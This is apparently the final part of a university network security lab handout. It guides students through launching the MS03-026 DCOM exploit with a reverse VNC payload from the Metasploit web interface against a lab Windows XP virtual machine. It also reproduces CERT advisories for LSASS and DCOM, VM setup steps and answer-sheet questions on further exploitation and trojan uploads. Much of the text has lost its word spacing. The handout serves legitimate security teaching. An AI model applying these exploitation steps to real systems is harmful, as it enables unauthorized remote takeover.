Exercise 6.3 Running the Exploit in the Metasploit Web Interface OnthemainpageoftheMetasploitwebconsole,youwillseethreemaincategories: Exploits,Payloads,andSessions.Tobegin,clickontheExploitslinklocatedtowardsthe topofthepage.Nextgotothepulldownmenuinthemiddleofthepageandscroll downtothemenuitemlabeledapp::dcom. Onceyoufilterthemodulestoapp::dcom,theonlyavailablechoiceyoushouldseeon thewebpageisMicrosoftRPCDCOMMS03026.Clickonthatlink. Afteryouclickontheexploitname,thescreenchangesandwearegivenbydefaultmore informationabouttheexploit.NoteinthecommandlineversionofMetasploit,you canviewthissameinformationbyenteringthecommandinfo[exploit_name].Onthe webinterface,theinformationisautomatic.Takealookatthisexploitinformationto learnalittlebitmoreabouthowitworks. NextscrolldowntothebottomofthescreenwhereweneedtoselectaTarget.Thereis onlyonetargetforallversionsofWindows,thereforeclickonthatonetargetlink: 0WindowsNTSP36a/2K/XP/2K3EnglishALL(default) OnceyouclickontheTargetname,thescreenchangesagainandmovestothenextstep whereweneedtospecifyourPayload.Notethesestepsshouldlookveryfamiliarto youbecausetheyarethesamestepsyoutookwhenrunningthisexploitfromthe commandversion.Thewebinterfacejustautomatesforyouandprovidesapointand clickGUIrepresentationofthecommands.ForthePayloadoption,wewillusea familiarpayloadthatweknowworksfromaprevioussection.Clickon win32_reverse_vncinject. Onceyouclickonthepayload,thescreenautomaticallychangesagaintoshowwhat Optionsareavailable.Justlikewiththecommandlineversion,weneedtofillinvalues foralloftherequiredfields.InthiscasetheonlyoptionweneedtosetisRHOST.In thetextboxnexttoRHOST,entertheIPaddressofourTargetmachine,ourWindows XPProCopyvirtualmachine.Leaveallotherfieldsattheirdefaultsettings. Alloftheparametersaresetanditistimetorunourexploit.Inthemiddleofthescreen clickontheExploitbutton.
28
JustlikeinourprevioussectionwhereweexploitedVNCserver,theVNCclientwindow shouldautomaticallyappearandyoushouldbeconnectedtothedesktopofyour WindowsXPProCopyvirtualmachine. Q6.1: What are some advantages that this type of interface has over the command line version? Q6.2: What are some disadvantages that are associated with running exploits in this manner?
29
AppendixA
InformationontheLSASSMicrosoftVulnerability (http://www.kb.cert.org/vuls/id/753212)
VulnerabilityNoteVU#753212 MicrosoftLSAServicecontainsbufferoverflowinDsRolepInitializeLog()function Overview TheWindowsLocalSecurityAuthorityServiceServer(LSASS)containsavulnerability thatmaypermitanattackertocompletelycompromisethesystem. I.Description AbufferoverflowvulnerabilityexistsinaMicrosoftActiveDirectoryservicelogging functionthatisexposedbytheLSASSDCE/RPCinterface.Thevulnerabilityoccursdue tothemisuseofavsprintf()call.Forafulltechnicaldescription,pleaseseeeEyeDigital Security'sAdvisiory.Thisvulnerabilityaffectsthefollowingsystems: Windows2000 WindowsXP WindowsServer2003Microsoftnotesthatwhilethevulnerabilityexistsin WindowServer2003,itcouldonlybeexpoitedbyalocaladministrator. II.Impact Aremoteunauthenticatedattackercouldexploitthisvulnerabilitytoexecutearbitrary codeonthevulnerablesystem. III.Solution Applyapatchfromthevendor MicrosoftSecurityBulletinMS04011containspatchinformationtoresolvethisissue. SystemsAffected Vendor Status DateUpdated
30
MicrosoftCorporation Vulnerable 13Apr2004 References http://www.microsoft.com/technet/security/bulletin/ms04011.mspx http://www.eeye.com/html/Research/Advisories/AD20040413C.html Credit TheMicrosoftSecurityBulletincreditseEyeDigitalSecurityforreportingthis vulnerability. This document was written by Jason A Rafail. OtherInformation DatePublic 04/13/2004 DateFirstPublished 04/13/200409:24:03PM DateLastUpdated 04/13/2004 CERTAdvisory CVEName CAN20030533 Metric 35.44 DocumentRevision 7
31
AppendixB
InformationontheRPC/DCOMMicrosoftVulnerability (http://www.kb.cert.org/vuls/id/547820)
VulnerabilityNoteVU#547820 MicrosoftWindowsDCOM/RPCvulnerability Overview AvulnerabilityexistsinMicrosoftWindowsDCOM/RPCthatcanbeexploitedtocause adenialofservice.Itmaybepossibleforanattackertoexecutearbitrarycodeona vulnerablesystem. I.Description MicrosoftWindowsRemoteProcedureCall(RPC)"...isapowerful,robust,efficient, andsecureinterprocesscommunication(IPC)mechanismthatenablesdataexchangeand invocationoffunctionalityresidinginadifferentprocess.Thatdifferentprocesscanbe onthesamemachine,onthelocalareanetwork,oracrosstheInternet."DistributedCOM (DCOM)"...extendstheComponentObjectModel(COM)tosupportcommunication amongobjectsondifferentcomputersonaLAN,aWAN,oreventheInternet." Based on publicly available exploit code, there is a vulnerability in the way the RPCSS service handles DCOM/RPC messages. This vulnerability is different than those described in CA-2003-16 (VU#568148/MS03-026) and CA-2003-23 (VU#254236/VU#483492/MS03-039). As in the previous vulnerabilities, this flaw appears to occur in functions related to DCOM object activation. A remote attacker could attempt to exploit this vulnerability using crafted RPC packets. Internet Security Systems (ISS) X-Force has published an advisory stating that this vulnerability "...manifests as a result of a separate multi-threaded race condition when processing incoming RPC requests." Depending on variables such as network latency and CPU load, one RPCSS thread may free a memory buffer before another thread has finished processing the same buffer. This causes memory corruption that can lead to termination of the RPCSS process. II.Impact
32
Anunauthenticated,remoteattackercouldcauseadenialofserviceorpossiblyexecute arbitrarycodewithSYSTEMprivileges.Intests,thepublicexploitcodecrashesthe RPCSSserviceonWindows2000andWindowsXPsystemspatchedwithMS03039. TheexploitexecutescodeonWindows2000systemsthatdonothavetheMS03039 patch. III.Solution TheCERT/CCiscurrentlyunawareofapracticalsolutiontothisproblem. Until patches are available, the following workarounds can be used to reduce possible attack vectors. These workarounds are not complete solutions and may affect network and application operation. Research and test before making changes to production systems. Usinganetworkorhostbasedfirewall,blockRPCnetworktraffic(ports135/tcp, 139/tcp,445/tcp,593/tcpand135/udp,137/udp,138/udp,445/udp). DisableCOMInternetServices(CIS)andRPCoverHTTPasdescribedinMicro softKnowledgeBaseArticle825819. DisableDCOMasdescribedMicrosoftKnowledgeBaseArticle825750. SystemsAffected Vendor Status DateUpdated MicrosoftCorporation Vulnerable 13Oct2003 References http://msdn.microsoft.com/library/default.asp?url=/library/enus/rpc/rpc/overviews.asp http://msdn.microsoft.com/library/default.asp?url=/library/en us/rpc/rpc/microsoft_rpc_model.asp http://msdn.microsoft.com/library/default.asp?url=/library/en us/dndcom/html/msdn_dcomtec.asp http://msdn.microsoft.com/library/default.asp?url=/library/en us/dndcom/html/msdn_dcomarch.asp http://www.securityfocus.com/archive/1/340937 http://xforce.iss.net/xforce/alerts/id/155 http://www.kotik.net/bugtraq/10.15.RPC3.php Credit Thisvulnerabilitywasreportedby3APA3A(ZARAZA). ThisdocumentwaswrittenbyArtManion.
33
OtherInformation DatePublic 10/10/2003 DateFirstPublished 10/14/200302:36:58AM DateLastUpdated 10/15/2003 CERTAdvisory CVEName CAN20030813 Metric 43.70 DocumentRevision 35
34
AppendixC
Creating a Secondary Windows XP virtual machine In VMware the virtual machine files are stored in directories in your root directory by default. You just need to copy all the files from a machine's directory to a new one and then make a new machine using these files. In your Red Hat WS 4.0 physical machine's root directory make a new directory called WinXPProCopy
#cd /root/vmware #mkdir WinXPProCopy
Copy all the files from the NAS VMware directory into this new directory.
# cd /mnt/nas4112/VMWare/winXPPro # cp *.* /root/vmware/WinXPProCopy/
This will take some time as the image files are quite large. Start VMware and click File New New virtual machine Choose Custom and click Next. Choose Legacy and click Next. Make sure Microsoft Windows is checked and select the Version as Windows XP Professional and click Next. Change the name of the new machine to WinXPProCopy and change the directory to /root/vmware/WinXPProCopy. Click Next. On the pop-up warning, click Yes. Leave Memory settings alone, click Next. Select Bridged networking and click Next. Dont change I/O Adapter Types, click Next. Choose Use an existing virtual disk and click Next. Click Browse, go to your /root/vmware/WinXPProCopy/ directory and choose the file called winXPPro.vmdk. Click Finish. This will create a new virtual machine on your host system. Power on the new virtual machine. You will need to change the IP address of the new WinXPProCopy virtual machine. Change it to your Red Hat WS 4.0 host machines address + 1. For example, if the host machine IP address is 57.35.6.100, set your new virtual machine to 57.35.6.101. To do this: Start the new virtual machine. Click Start -> Control Panel
35
Network and Internet Connections Network Connections Right Click on local area connections Properties Select TCP/IP Properties Make your changes and click OK
36
AnswerSheetLabxx
GroupNumber:_______________ MemberNames:__________________________________________________
37
Q3.2: Are there any indications on the virtual machine console that anything has happened? (Look for processes running in Task Manager)
Q3.3: What are some examples of commands that you could use at this prompt to further exploit this system?
Screenshot 2: Attach to your answer sheet a screen shot of your remote Windows command shell showing the output of running the ipconfig command. (The screen shot should show the Windows XP banner and command prompt within a Red Hat terminal window and show the XP network information.)
38
Q4.2:Whatcanasystemadministratordotopreventthistypeofattack?
Q4.4: What makes this type of exploit very dangerous to a system administrator?
Screenshot 4: Attach to your answer sheet a screen shot of the Tight VNC client viewer within Linux showing the Windows XP virtual machine welcome screen and the Metasploit Courtesy Shell window on top of it.
39
Q5.2: Besides using Back Orifice 2000 to create a trojan program, what other uses can you think of for using the Metasploit Upload & Execute exploit?
Q5.3:Whatcanasystemadministratordotopreventthistypeofattack?
Q6.2: What are some disadvantages that are associated with running exploits in this manner?
40
41
How long did it take you to complete this lab? Was it an appropriate length lab?
Whatcorrectionsandorimprovementsdoyousuggestforthislab?Youmaycross out and edit the text of the lab on previous pages to make corrections. What correctionsandorimprovementsdoyousuggestforthislab?Pleasebeveryspecific andifyouaddnewmaterialgivetheexactwordingandinstructionsyouwouldgive tofuturestudentsinthenewlabhandout.Youneedtobeveryspecificandprovide details. You need to actually do the suggested additions in the lab and provide solutionstoyoursuggestedadditions.Cautionasusual:onlyextractandusethe toolsyoudownloadedinthesafeandapprovedenvironmentofthenetworksecurity laboratory.
42